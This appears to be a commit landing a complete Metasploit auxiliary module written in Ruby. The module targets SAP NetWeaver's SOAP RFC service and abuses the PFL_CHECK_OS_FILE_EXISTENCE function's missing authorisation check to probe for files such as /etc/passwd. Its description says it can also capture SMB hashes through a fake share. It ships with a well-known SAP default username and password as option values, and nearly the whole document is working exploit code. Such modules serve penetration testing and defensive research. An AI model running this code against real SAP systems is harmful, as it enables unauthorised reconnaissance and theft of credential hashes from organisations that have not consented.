Land #1658, @nmonkee's SAP module for PFL_CHECK_OS_FILE_EXISTENCE
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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##
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# This module is based on, inspired by, or is a port of a plugin available in
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# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
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# http://www.onapsis.com/research-free-solutions.php.
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# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
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# in producing the Metasploit modules and was happy to share his knowledge and
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# experience - a very cool guy.
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#
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# The following guys from ERP-SCAN deserve credit for their contributions -
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# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
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# Dmitry Evdokimov.
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#
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# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
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# who have Beta tested the modules and provided excellent feedback. Some people
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# just seem to enjoy hacking SAP :)
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check',
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'Description' => %q{
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This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on
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the SAP SOAP RFC Service, to check for files existence on the remote file system.
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The module can also be used to capture SMB hashes by using a fake SMB share as
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FILEPATH.
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},
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'References' =>
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[
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[ 'OSVDB', '78537' ],
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[ 'BID', '51645' ],
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[ 'URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ]
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],
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'Author' =>
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[
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'lexey Tyurin', # Vulnerability discovery
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'nmonkee' # Metasploit module
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('CLIENT', [true, 'SAP Client', '001']),
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OptString.new('USERNAME', [true, 'Username', 'SAP*']),
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OptString.new('PASSWORD', [true, 'Password', '06071992']),
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OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd'])
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], self.class)
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end
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def run_host(ip)
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data = '<?xml version="1.0" encoding="utf-8" ?>'
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data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
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data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
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data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
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data << '<SOAP-ENV:Header/>'
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data << '<SOAP-ENV:Body>'
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data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'
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data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'
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data << '<LONG_FILENAME>' + datastore['FILEPATH'] + '</LONG_FILENAME>'
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data << '</PFL_CHECK_OS_FILE_EXISTENCE>'
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data << '</SOAP-ENV:Body>'
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data << '</SOAP-ENV:Envelope>'
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begin
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vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['FILEPATH']}")
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res = send_request_cgi({
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'uri' => '/sap/bc/soap/rfc',
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'method' => 'POST',
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'data' => data,
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'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
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'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
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'ctype' => 'text/xml; charset=UTF-8',
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'headers' => {
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'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
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},
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'vars_get' => {
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'sap-client' => datastore['CLIENT'],
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'sap-language' => 'EN'
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}
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})
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if res and res.code == 200 and res.body =~ /PFL_CHECK_OS_FILE_EXISTENCE\.Response/
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if res.body =~ /<FILE_EXISTS>X<\/FILE_EXISTS>/
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print_good("#{rhost}:#{rport} - File #{datastore['FILEPATH']} exists")
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else
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print_warning("#{rhost}:#{rport} - File #{datastore['FILEPATH']} DOESN'T exist")
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end
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elsif res
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vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
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vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
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vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
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end
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Unable to connect")
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return
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end
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end
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end
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